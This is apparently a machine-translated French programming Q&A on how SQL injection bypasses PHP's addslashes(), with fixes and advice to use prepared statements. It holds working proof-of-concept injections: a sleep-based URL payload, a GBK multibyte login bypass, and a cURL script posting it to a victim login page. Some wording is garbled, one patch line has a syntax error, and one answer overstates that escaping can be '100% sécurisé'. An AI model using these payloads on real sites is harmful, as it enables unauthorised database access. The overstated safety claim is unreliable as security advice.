Des exemples d'injections SQL via des addlashes ()?

Question

En PHP, je sais que mysql_real_escape est beaucoup plus sûr que d'utiliser addslashes . Cependant, je n'ai pas pu trouver d'exemple de situation où addslashes laisserait une injection SQL se produire.

Quelqu'un peut-il donner des exemples?

Answer 1

Eh bien, voici l'article que vous souhaitez.

Fondamentalement, la façon dont l'attaque est en obtenant addslashes() de mettre une barre oblique inverse dans le milieu de la séquence multi-octets de caractère, tels que la barre oblique inverse perd de son sens en étant de la partie valide de la séquence multi-octets.

Le grand inconvénient de l'article:

Ce type d'attaque est possible avec n'importe quel encodage de caractère où il est valable de caractères multi-octets qui se termine en 0x5c, parce que addslashes() peut être trompé en créant un valide de caractères multi-octets au lieu de sortir de la seule citation qui suit. UTF-8 ne convient pas cette description.

Answer 2

Voici un exemple de l'Injection SQL qui contourne les deux addslashes() et magic_quotes_gpc:

<?php
mysql_connect("localhost","root","");
if(get_magic_quotes_gpc()){
    $max=$_GET['max'];
}else{
    $max=addslashes($_GET['max']);
}
print "select * from mysql.user where max_connections=".$max;
$q=mysql_query("select * from mysql.user where max_connections=".$max);
$a=mysql_fetch_array($q);
print_r($a);
?>

PoC Exploiter:

http://localhost/escape_test.php?max=0+and+sleep(10)

Le résultat est qu'il sera force de la base de données pour dormir pendant 10 secondes, ce qui retarde la requête et de la charge de la totalité de la page.

Il y a 2 patchs pour cette vulnérabilité.
La plus forte patch est de forcer la valeur d'un entier. Les valeurs entières ne nécessitent pas de guillemets dans la plupart des langues.

$q=mysql_query("select * from mysql.user where max_connections=".intval($max));

C'est un autre patch qui est considéré comme plus faible. Il ya des cas où cela peut être vulnérable à l'injection sql en raison de la langue d'encodage.

$q=mysql_query("select * from mysql.user where max_connections='".$max."'"));

Les guillemets sont utilisés pour envelopper une variable, injection sql est sur la rupture et l'exécution de code sur la base de données. Si vous ne mettez pas de guillemets autour de la variable que l'attaquant contrôle, l'attaquant n'a pas à "sortir".

Vous devez utiliser des requêtes paramétrées, soit avec AOP ou ADODB. C'est le plus infaillible méthode que je connaisse.

Answer 3

Chris Shiflett explique clairement avec le soufflet exemple, Que la volonté de cours de travail si vous l'essayez, lors de l'utilisation de GBK encodage dans votre base de données. Même que j'ai essayé, cela prouve, il y a des chances pour l'injection sql, même si elles sont très moins, mais quelqu'un avec de bonnes connaissances et la capacité peut facilement injecter. Voici un Exemple...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

Bien que l'utilisation de addslashes() ou magic_quotes_gpc serait normalement considéré comme peu sûr, l'utilisation de GBK rendrait près inutile. Le script PHP ci-cURL script serait en mesure de faire usage de l'injection, j'espère que cela va vous aider un peu plus pour mieux comprendre:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

Answer 4

En complément pour les lecteurs des réponses ici: Ce bug MySQL a déjà été corrigé :)

En outre, il est toujours recommandé d'utiliser des instructions préparées. C'est la façon la plus libre d'exploiter les requêtes (et, dans plusieurs cas d'utilisation, la plus performante). Et cela vous aurait sauvé de cette faille.

Answer 5

mysql_real_escape_string () par rapport aux instructions préparées explique clairement que mysql_real_escape_string () n'est pas 100% sécurisé .

en utilisant mysql_set_charset ('GBK') pour remplacer mysql_query ("SET CHARACTER SET 'GBK'") , mysql_real_escape_string () peut être sécurisé à 100%.